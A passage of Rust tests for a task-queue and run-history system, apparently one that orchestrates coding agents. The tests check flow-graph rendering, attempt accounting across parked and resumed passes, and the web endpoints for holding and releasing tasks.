14001 let created = "2026-10-10T01:00:00Z".parse().unwrap();
14002 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
14003 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
14004 task.held_at = Some(created);
14006 task.blocked_at = Some(created);
14007 for status in [
14008 TaskStatus::Queued,
14009 TaskStatus::Running,
14010 TaskStatus::Blocked,
14011 TaskStatus::Done,
14012 TaskStatus::Failed,
14013 TaskStatus::Parked,
14014 TaskStatus::Held,
14015 ] {
14016 task.status = status;
14017 if status == TaskStatus::Held {
14018 task.held_at = None;
14019 }
14020 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
14021 assert_eq!(flow.nodes[1].started_at, Some(created));
14022 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
14023 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
14024 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
14025 let json = serde_json::to_value(&flow).unwrap();
14026 assert!(json["nodes"][3]["started_at"].is_null());
14027 assert_eq!(json["nodes"][3]["time_expected"], true);
14028 }
14029 }
14030
14031 #[test]
14032 fn flow_context_links_do_not_expect_start_times() {
14033 let mut task = flow_task(&[]);
14034 task.source = Source::Agent {
14035 run: "chat-id".to_owned(),
14036 node: "chat".to_owned(),
14037 };
14038 let origin = followup_origin(&fu(None), |_| None, |_| None);
14039 let flow = task_flow(&task, &[], 5, Some(&origin));
14040 for node in &flow.nodes[..2] {
14041 assert!(!node.time_expected);
14042 assert_eq!(node.started_at, None);
14043 }
14044 assert!(flow.nodes[2].time_expected);
14045 }
14046
14047 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
14048 crate::queue::FollowUp {
14049 run: "20260901-000000-aaaa".to_owned(),
14050 origin_task: origin_task.map(str::to_owned),
14051 pr: "https://example.com/o/r/pull/1".to_owned(),
14052 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
14053 .map(str::to_owned)
14054 .to_vec(),
14055 generation: 1,
14056 }
14057 }
14058
14059 fn parent_task() -> Task {
14060 let mut p = flow_task(&[]);
14061 p.title = "Parent title".to_owned();
14062 p.status = TaskStatus::Done;
14063 p
14064 }
14065
14066 #[test]
14067 fn flow_opens_with_the_parent_task_of_a_followup() {
14068 let p = parent_task();
14069 let pid = p.id.clone();
14070 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
14071 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14072 let n = &f.nodes[0];
14073 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
14074 assert_eq!(
14075 n.label,
14076 format!("Follow-up of {}", crate::queue::short(&pid))
14077 );
14078 assert_eq!(n.detail.as_deref(), Some("Parent title"));
14079 assert_eq!(n.status, Some("done"));
14080 assert_eq!(n.status_of, "task");
14081 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
14082 assert_eq!(f.nodes[1].key, "start");
14083 assert_eq!(f.edges[0].from, "origin");
14084 assert_eq!(
14085 f.edges[0].label,
14086 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
14087 );
14088 }
14089
14090 #[test]
14091 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
14092 let o = followup_origin(
14093 &fu(Some("gone")),
14094 |_| None,
14095 |_| {
14096 Some(RunState::new(
14097 std::path::PathBuf::from("."),
14098 "main".to_owned(),
14099 "0".to_owned(),
14100 "t".to_owned(),
14101 crate::config::Config::default(),
14102 ))
14103 },
14104 );
14105 assert!(o.parent.is_none());
14106 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14107 let n = &f.nodes[0];
14108 assert_eq!(n.status_of, "run");
14109 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
14110 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
14111 }
14112
14113 #[test]
14114 fn flow_followup_with_nothing_readable_has_no_link() {
14115 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
14116 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14117 let n = &f.nodes[0];
14118 assert_eq!(n.href, None);
14119 assert_eq!(n.note, Some("unreadable"));
14120 assert!(!n.readable);
14121 }
14122
14123 #[test]
14124 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
14125 let o = followup_origin(&fu(None), |_| None, |_| None);
14126 let mut t = flow_task(&[]);
14127 t.origin_chat = Some("c1".to_owned());
14128 let f = task_flow(&t, &[], 5, Some(&o));
14129 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
14130 t.source = Source::Agent {
14131 run: "c1".to_owned(),
14132 node: crate::queue::CHAT_NODE.to_owned(),
14133 };
14134 let f = task_flow(&t, &[], 5, Some(&o));
14135 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
14136 assert_eq!(
14137 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
14138 ("chat", "origin")
14139 );
14140 }
14141
14142 #[test]
14143 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
14144 let mut p = parent_task();
14145 p.id = "a b/c".to_owned();
14146 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
14147 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
14148 }
14149
14150 #[test]
14151 fn flow_opens_with_the_chat_that_queued_the_task() {
14152 let mut t = flow_task(&[]);
14153 t.source = Source::Agent {
14154 run: "a b/c".to_owned(),
14155 node: crate::queue::CHAT_NODE.to_owned(),
14156 };
14157 let f = flow_for(&t, &[]);
14158 assert_eq!(f.nodes[0].key, "chat");
14159 assert_eq!(f.nodes[0].kind, "chat");
14160 assert_eq!(
14161 f.nodes[0].label,
14162 format!("Chat {}", crate::queue::short("a b/c"))
14163 );
14164 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
14165 assert_eq!(f.nodes[1].key, "start");
14166 assert_eq!(
14167 f.edges[0],
14168 FlowEdge {
14169 from: "chat".to_owned(),
14170 to: "start".to_owned(),
14171 label: "queued from chat".to_owned(),
14172 attempt: AttemptCost::None,
14173 }
14174 );
14175 }
14176
14177 #[test]
14178 fn flow_has_no_chat_box_for_other_sources() {
14179 for source in [
14180 Source::Human,
14181 Source::Issue {
14182 number: 3,
14183 repo: "o/r".to_owned(),
14184 },
14185 Source::Agent {
14186 run: "20260904-014455-ab12".to_owned(),
14187 node: "implement".to_owned(),
14188 },
14189 ] {
14190 let mut t = flow_task(&[]);
14191 t.source = source;
14192 let f = flow_for(&t, &[]);
14193 assert_eq!(f.nodes[0].key, "start");
14194 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
14195 assert!(f.edges.iter().all(|e| e.from != "chat"));
14196 }
14197 }
14198
14199 const FA: &str = "20260902-140501-aaaa";
14200 const FB: &str = "20260902-140502-bbbb";
14201
14202 #[test]
14203 fn flow_follows_blocked_retry_merged_to_done() {
14204 let mut t = flow_task(&[FA, FB]);
14205 t.status = TaskStatus::Done;
14206 let f = flow_for(
14207 &t,
14208 &[
14209 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
14210 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
14211 ],
14212 );
14213 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
14214 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
14215 assert_eq!(f.edges.len(), 3);
14216 assert_eq!(f.edges[0].label, "claimed");
14217 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
14218 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14219 assert_eq!(f.edges[2].label, "merged \u{2192} done");
14220 assert_eq!(
14221 f.nodes[2].href.as_deref(),
14222 Some("#/runs/20260902-140502-bbbb")
14223 );
14224 assert!(f.nodes[2].decided);
14225 }
14226
14227 #[test]
14228 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
14229 let quota = || {
14230 flow_run(RunStatus::Stalled, |s| {
14231 s.quota.push(crate::run::QuotaLoss {
14232 seat: "judge-1".to_owned(),
14233 node: "judge".to_owned(),
14234 at: Timestamp::now(),
14235 reset: None,
14236 })
14237 })
14238 };
14239 let mut t = flow_task(&[FA, FA]);
14240 t.status = TaskStatus::Queued;
14241 let f = flow_for(&t, &[(FA, Some(quota()))]);
14242 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
14243 assert_eq!(f.nodes[1].note, Some("interrupted"));
14244 assert_eq!(
14245 f.nodes[1].status, None,
14246 "no outcome copied onto an earlier pass"
14247 );
14248 assert_eq!(
14249 f.edges[1].attempt,
14250 AttemptCost::Unknown,
14251 "a resume does not prove the earlier pass was refunded"
14252 );
14253 assert!(f.edges[1].label.contains("resume the same run"));
14254 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
14255 assert_eq!(
14256 f.edges[2].label,
14257 "stalled after a resume, refund unknown \u{2192} queued"
14258 );
14259 assert!(!f.nodes[2].decided, "a stall is not a decision");
14260 assert_eq!(f.nodes[2].note, Some("no verdict"));
14261 }
14262
14263 #[test]
14264 fn flow_single_pass_quota_stall_is_refunded() {
14265 let t = flow_task(&[FA]);
14266 let f = flow_for(
14267 &t,
14268 &[(
14269 FA,
14270 Some(flow_run(RunStatus::Stalled, |s| {
14271 s.quota.push(crate::run::QuotaLoss {
14272 seat: "judge-1".to_owned(),
14273 node: "judge".to_owned(),
14274 at: Timestamp::now(),
14275 reset: None,
14276 })
14277 })),
14278 )],
14279 );
14280 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14281 }
14282
14283 #[test]
14284 fn flow_parked_refunds_and_stall_without_quota_spends() {
14285 let mut t = flow_task(&[FA]);
14286 t.status = TaskStatus::Queued;
14287 let f = flow_for(
14288 &t,
14289 &[(
14290 FA,
14291 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14292 )],
14293 );
14294 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14295 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14296 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14297 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14298 assert!(!f.nodes[1].decided);
14299 }
14300
14301 #[test]
14302 fn flow_keeps_an_unreadable_run_as_its_own_node() {
14303 let t = flow_task(&[FA, FB]);
14304 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14305 assert_eq!(f.nodes[1].note, Some("unreadable"));
14306 assert!(!f.nodes[1].readable);
14307 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14308 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14309 }
14310
14311 #[test]
14312 fn flow_names_the_branch_of_a_review_only_run() {
14313 let t = flow_task(&[FA]);
14314 let f = flow_for(
14315 &t,
14316 &[(
14317 FA,
14318 Some(flow_run(RunStatus::Merged, |s| {
14319 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14320 })),
14321 )],
14322 );
14323 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14324 assert_eq!(
14325 f.nodes[1].detail.as_deref(),
14326 Some("review-only run of branch magi/x/A")
14327 );
14328 }
14329
14330 #[test]
14331 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14332 let mut t = flow_task(&[FA]);
14333 t.status = TaskStatus::Held;
14334 let pr = crate::run::PrRecord {
14335 url: "https://example.test/pr/1".to_owned(),
14336 number: 1,
14337 state: "open".to_owned(),
14338 checks: "green".to_owned(),
14339 round: 0,
14340 rounds: 3,
14341 red_at_merge: Vec::new(),
14342 };
14343 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14344 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14345 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14346 t.status = TaskStatus::Done;
14347 let f = flow_for(&t, &[(FA, Some(blocked))]);
14348 assert_eq!(f.edges[1].label, "closed by hand: task is done");
14349 }
14350
14351 #[test]
14352 fn flow_with_no_runs_goes_from_queued_to_queued() {
14353 let t = flow_task(&[]);
14354 let f = flow_for(&t, &[]);
14355 assert_eq!(f.nodes.len(), 2);
14356 assert_eq!(f.edges.len(), 1);
14357 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14358 assert_eq!(f.edges[0].attempt, AttemptCost::None);
14359 }
14360
14361 #[test]
14364 fn a_parked_non_terminal_run_is_explained_as_parked() {
14365 let mut s = RunState::new(
14366 PathBuf::from("/repo/magi"),
14367 "main".to_owned(),
14368 "0123456789abcdef".to_owned(),
14369 "Do it".to_owned(),
14370 Config::default(),
14371 );
14372 s.status = RunStatus::Implementing;
14373 s.parked = true;
14374 let task = Task::new(
14375 "t".to_owned(),
14376 "Do it".to_owned(),
14377 PathBuf::from("/repo/magi"),
14378 Source::Human,
14379 );
14380 let v = task_run_view(
14381 "20260902-140501-aaaa",
14382 Some(&s),
14383 RunSlot {
14384 n: 1,
14385 resumed: false,
14386 resumed_later: None,
14387 prior: None,
14388 last: true,
14389 ..RunSlot::default()
14390 },
14391 &task,
14392 );
14393 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14394 }
14395
14396 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14397 let mut s = flow_run(RunStatus::Implementing, edit);
14398 s.parked = false;
14399 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14400 task_run_view(
14401 "20260902-140501-aaaa",
14402 Some(&s),
14403 RunSlot {
14404 n: 1,
14405 resumed: false,
14406 resumed_later: Some(2),
14407 prior: None,
14408 last: false,
14409 ..RunSlot::default()
14410 },
14411 &task,
14412 )
14413 }
14414
14415 #[test]
14416 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14417 let v = earlier_pass_view(|_| {});
14418 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14419 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14420 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14421 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14422 assert_eq!(v.exit, RunExit::Interrupted);
14423 assert_eq!(v.attempt, AttemptCost::Unknown);
14424 }
14425
14426 #[test]
14427 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14428 let v = earlier_pass_view(|s| {
14429 s.quota.push(crate::run::QuotaLoss {
14430 seat: "judge-1".to_owned(),
14431 node: "judge".to_owned(),
14432 at: Timestamp::now(),
14433 reset: None,
14434 });
14435 });
14436 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14437 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14438 assert_eq!(v.attempt, AttemptCost::Unknown);
14439 }
14440
14441 #[test]
14442 fn the_current_pass_states_its_recorded_cause_and_cost() {
14443 let slot = || RunSlot {
14444 n: 1,
14445 resumed: false,
14446 resumed_later: None,
14447 prior: None,
14448 last: true,
14449 ..RunSlot::default()
14450 };
14451 let task = flow_task(&["20260902-140501-aaaa"]);
14452 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14453 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14454 assert_eq!(
14455 (v.exit, v.attempt),
14456 (RunExit::Parked, AttemptCost::Refunded)
14457 );
14458 let spent = flow_run(RunStatus::Blocked, |_| {});
14459 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14460 assert_eq!(v.attempt, AttemptCost::Spent);
14461 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14462 }
14463
14464 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14465 crate::run::RunPass {
14466 index,
14467 started_at: Timestamp::now(),
14468 resumed: index > 0,
14469 ended_at: end.as_ref().map(|_| Timestamp::now()),
14470 end,
14471 task_entry: true,
14472 }
14473 }
14474
14475 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14476 Some(crate::run::PassEnd::Parked { cause })
14477 }
14478
14479 fn upgrade_cause() -> crate::run::ParkCause {
14480 crate::run::ParkCause::Upgrade {
14481 from: "0.121.0".to_owned(),
14482 to: Some("0.121.1".to_owned()),
14483 }
14484 }
14485
14486 fn settled_pass(
14487 run: &str,
14488 index: usize,
14489 cost: crate::queue::PassCost,
14490 ) -> crate::queue::TaskPass {
14491 crate::queue::TaskPass {
14492 run: run.to_owned(),
14493 pass_index: index,
14494 cost,
14495 attempts_after: 1,
14496 settled_at: Timestamp::now(),
14497 parked: None,
14498 }
14499 }
14500
14501 const RUN_X: &str = "20261011-223708-4334";
14502
14503 #[test]
14504 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14505 use crate::queue::PassCost;
14506 let run = flow_run(RunStatus::Implementing, |s| {
14507 s.passes = vec![
14508 recorded_pass(0, parked(upgrade_cause())),
14509 recorded_pass(1, None),
14510 ];
14511 });
14512 let mut task = flow_task(&[RUN_X, RUN_X]);
14513 task.attempts = 1;
14514 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14515 let h = task_history(&task, |_| Some(run.clone()));
14516 assert_eq!(h.len(), 2);
14517 assert_eq!(h[0].kind, "competition");
14518 assert_eq!(h[1].kind, "resume");
14519 assert_eq!(
14520 (h[0].exit, h[0].attempt),
14521 (RunExit::Parked, AttemptCost::Refunded)
14522 );
14523 assert!(
14524 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14525 "{}",
14526 h[0].outcome
14527 );
14528 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14529 assert!(
14530 h[0].outcome.contains("pass #2 resumed the same run"),
14531 "{}",
14532 h[0].outcome
14533 );
14534 assert!(
14535 h[0].outcome.contains("pass 1 of 2 over run"),
14536 "{}",
14537 h[0].outcome
14538 );
14539 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14540 assert_eq!(
14541 h[0].exit_label,
14542 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
14543 );
14544 let f = task_flow(&task, &h, 2, None);
14545 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
14547 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14548 assert!(
14549 f.edges[1].label.contains("upgrade 0.121.0"),
14550 "{}",
14551 f.edges[1].label
14552 );
14553 assert!(
14554 f.edges[1].label.contains("resume the same run"),
14555 "{}",
14556 f.edges[1].label
14557 );
14558 assert_eq!(f.nodes[1].note, Some("parked"));
14559 }
14560
14561 #[test]
14562 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
14563 let mut a = flow_run(RunStatus::Implementing, |s| {
14564 s.passes = vec![
14565 recorded_pass(0, parked(upgrade_cause())),
14566 recorded_pass(1, None),
14567 ];
14568 });
14569 let mut b = flow_run(RunStatus::Failed, |s| {
14570 s.passes = vec![recorded_pass(0, None)];
14571 });
14572 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
14573 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
14574 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
14575 let mut task = flow_task(&[]);
14576 task.start("a".into());
14577 task.start("b".into());
14578 task.start("a".into());
14579 assert_eq!(task.runs, ["b", "a"]);
14580 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
14581 let h = task_history(&task, |id| {
14582 Some(if id == "a" { a.clone() } else { b.clone() })
14583 });
14584 assert_eq!(
14585 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
14586 ["a", "b", "a"]
14587 );
14588 assert_eq!(h[0].attempt, AttemptCost::Refunded);
14589 assert!(h[0].outcome.contains("upgrade"));
14590 assert_eq!(h[2].kind, "resume");
14591 assert!(h[2].pass.is_some());
14592 task.runs = vec!["a".into(), "b".into(), "a".into()];
14594 let old = task_history(&task, |id| {
14595 Some(if id == "a" { a.clone() } else { b.clone() })
14596 });
14597 assert_eq!(
14598 old.iter()
14599 .map(|v| (&v.id, &v.kind, v.attempt))
14600 .collect::<Vec<_>>(),
14601 h.iter()
14602 .map(|v| (&v.id, &v.kind, v.attempt))
14603 .collect::<Vec<_>>()
14604 );
14605 }
14606
14607 #[test]
14608 fn an_upgrade_whose_target_was_not_known_says_so() {
14609 let run = flow_run(RunStatus::Implementing, |s| {
14610 s.passes = vec![
14611 recorded_pass(
14612 0,
14613 parked(crate::run::ParkCause::Upgrade {
14614 from: "0.121.0".to_owned(),
14615 to: None,
14616 }),
14617 ),
14618 recorded_pass(1, None),
14619 ];
14620 });
14621 let task = flow_task(&[RUN_X, RUN_X]);
14622 let h = task_history(&task, |_| Some(run.clone()));
14623 assert!(
14624 h[0].outcome.contains("upgrade from 0.121.0"),
14625 "{}",
14626 h[0].outcome
14627 );
14628 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14630 }
14631
14632 #[test]
14633 fn each_pass_keeps_its_own_cause_across_several_resumes() {
14634 use crate::queue::PassCost;
14635 use crate::run::ParkCause;
14636 let run = flow_run(RunStatus::Implementing, |s| {
14637 s.passes = vec![
14638 recorded_pass(0, parked(upgrade_cause())),
14639 recorded_pass(
14640 1,
14641 parked(ParkCause::Interrupt {
14642 reason: "task a1b2 asked to run first".to_owned(),
14643 }),
14644 ),
14645 recorded_pass(2, parked(ParkCause::Operator)),
14646 recorded_pass(3, None),
14647 ];
14648 });
14649 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
14650 task.attempts = 1;
14651 task.passes = (0..3)
14652 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
14653 .collect();
14654 let h = task_history(&task, |_| Some(run.clone()));
14655 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14656 assert!(
14657 h[1].outcome.contains("task a1b2 asked to run first"),
14658 "{}",
14659 h[1].outcome
14660 );
14661 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
14662 assert!(
14663 h[2].outcome.contains("operator asked the loop to park"),
14664 "{}",
14665 h[2].outcome
14666 );
14667 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
14668 let f = task_flow(&task, &h, 2, None);
14669 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
14670 }
14671
14672 #[test]
14673 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
14674 let run = flow_run(RunStatus::Implementing, |s| {
14675 s.passes = vec![
14676 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
14677 recorded_pass(1, None),
14678 ];
14679 });
14680 let task = flow_task(&[RUN_X, RUN_X]);
14681 let h = task_history(&task, |_| Some(run.clone()));
14682 assert_eq!(h[0].exit, RunExit::Interrupted);
14683 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14684 assert!(
14685 h[0].outcome.contains("without recording why"),
14686 "{}",
14687 h[0].outcome
14688 );
14689 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14690 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
14691 }
14692
14693 #[test]
14694 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
14695 use crate::queue::PassCost;
14696 let run = flow_run(RunStatus::Implementing, |s| {
14699 s.passes = vec![
14700 recorded_pass(0, parked(upgrade_cause())),
14701 recorded_pass(1, None),
14702 ];
14703 });
14704 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
14705 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14706 let h = task_history(&task, |_| Some(run.clone()));
14707 assert!(h[0].pass.is_none());
14708 assert_eq!(h[0].exit, RunExit::Interrupted);
14709 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14710 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14711 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14712 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
14713 let legacy = flow_run(RunStatus::Implementing, |_| {});
14715 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
14716 assert!(h.iter().all(|v| v.pass.is_none()));
14717 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14718 }
14719
14720 #[test]
14721 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
14722 use crate::queue::PassCost;
14723 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
14726 web.task_entry = false;
14727 let run = flow_run(RunStatus::Implementing, |s| {
14728 s.passes = vec![
14729 recorded_pass(0, parked(upgrade_cause())),
14730 web.clone(),
14731 recorded_pass(2, None),
14732 ];
14733 });
14734 let mut task = flow_task(&[RUN_X, RUN_X]);
14735 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14736 let h = task_history(&task, |_| Some(run.clone()));
14737 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14738 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
14739
14740 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
14743 web0.task_entry = false;
14744 let run = flow_run(RunStatus::Implementing, |s| {
14745 s.passes = vec![web0.clone(), recorded_pass(1, None)];
14746 });
14747 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
14748 assert!(h[0].pass.is_none());
14749 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14750 assert!(h[1].pass.is_some());
14751 }
14752
14753 #[tokio::test]
14754 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
14755 let dir = tempfile::tempdir().unwrap();
14756 let queue = Queue::at(dir.path().join("queue"));
14757 let ui = Arc::new(Ui::new(
14758 queue.clone(),
14759 Questions::at(dir.path().join("questions")),
14760 Talks::at(dir.path().join("talks")),
14761 dir.path().join("runs"),
14762 dir.path().to_path_buf(),
14763 dir.path().to_path_buf(),
14764 ));
14765 let mut t = Task::new(
14766 "recover".into(),
14767 "Inspect".into(),
14768 PathBuf::from("."),
14769 Source::Human,
14770 );
14771 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
14772 t.start("run-A".into());
14773 t.release_operator("choice", Some("resume-question"));
14774 t.resume_override = Some(crate::queue::OperatorResume {
14775 question_id: "resume-question".into(),
14776 at: jiff::Timestamp::now(),
14777 conductor_rehold: None,
14778 forced: true,
14779 pinned_run: Some("run-A".into()),
14780 });
14781 t.hold_machine(Some("inspection pending".into()));
14782 t.edit("recover".into(), "Reuse approved PR head".into())
14783 .unwrap();
14784 queue.put(&mut t).unwrap();
14785 let mut cli = t.clone();
14786 cli.release_operator("cli", None);
14787 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
14788 let reloaded = queue.get(&t.id).unwrap();
14789 assert_eq!(reply.task.status, TaskStatus::Queued);
14790 assert!(reloaded.resume_override.is_none());
14791 assert_eq!(reloaded.answers, t.answers);
14792 let mut web = reloaded.resumption.unwrap();
14793 let cli = cli.resumption.unwrap();
14794 assert_eq!(web.source, "web");
14795 web.source = cli.source.clone();
14796 web.at = cli.at;
14797 assert_eq!(web, cli);
14798 }
14799
14800 #[tokio::test]
14801 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
14802 let f = Fixture::start().await;
14803 let queue = f.queue();
14804 let mut task = Task::new(
14805 "spent".to_owned(),
14806 "Try again".to_owned(),
14807 PathBuf::from("/repo/magi"),
14808 Source::Human,
14809 );
14810 task.start("20260902-140502-bbbb".to_owned());
14811 task.fail("agent gave up", 9);
14812 queue.put(&mut task).expect("file the task");
14813
14814 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14815 assert_eq!(held.status, 200);
14816 assert_eq!(held.json()["status_str"], "held");
14817
14818 let released = f
14819 .post(&format!("/api/queue/{}/release", task.id), None)
14820 .await;
14821 assert_eq!(released.status, 200);
14822 assert_eq!(released.json()["status_str"], "queued");
14823 assert_eq!(released.json()["resumption"]["source"], "web");
14824 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
14825 let mut cli = task.clone();
14826 cli.release_operator("cli", None);
14827 let web = queue.get(&task.id).unwrap().resumption.unwrap();
14828 let cli = cli.resumption.unwrap();
14829 assert_eq!(web.instruction, cli.instruction);
14830 assert_eq!(web.answers_through, cli.answers_through);
14831 assert_eq!(web.runs_through, cli.runs_through);
14832 assert_eq!(web.cleared_reason, cli.cleared_reason);
14833 assert_eq!(
14834 released.json()["attempts"],
14835 0,
14836 "release is a real second chance, not an instant re-hold"
14837 );
14838 assert_eq!(
14839 queue.get(&task.id).expect("reload").status,
14840 TaskStatus::Queued,
14841 "the change is on disk, not only in the reply"
14842 );
14843 assert!(
14844 !f.home
14845 .path()
14846 .join("queue")
14847 .join(format!("{}.lock", task.id))
14848 .exists(),
14849 "the claim the mutation took is released again"
14850 );
14851 }
14852
14853 #[tokio::test]
14854 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
14855 let f = Fixture::start().await;
14856 let queue = f.queue();
14857 let mut task = Task::new(
14858 "busy".to_owned(),
14859 "Running right now".to_owned(),
14860 PathBuf::from("/repo/magi"),
14861 Source::Human,
14862 );
14863 queue.put(&mut task).expect("file the task");
14864 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14865
14866 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14867
14868 assert_eq!(res.status, 409);
14869 assert_eq!(
14870 queue.get(&task.id).expect("reload").status,
14871 TaskStatus::Queued,
14872 "the refused hold changed nothing"
14873 );
14874 }
14875
14876 #[tokio::test]
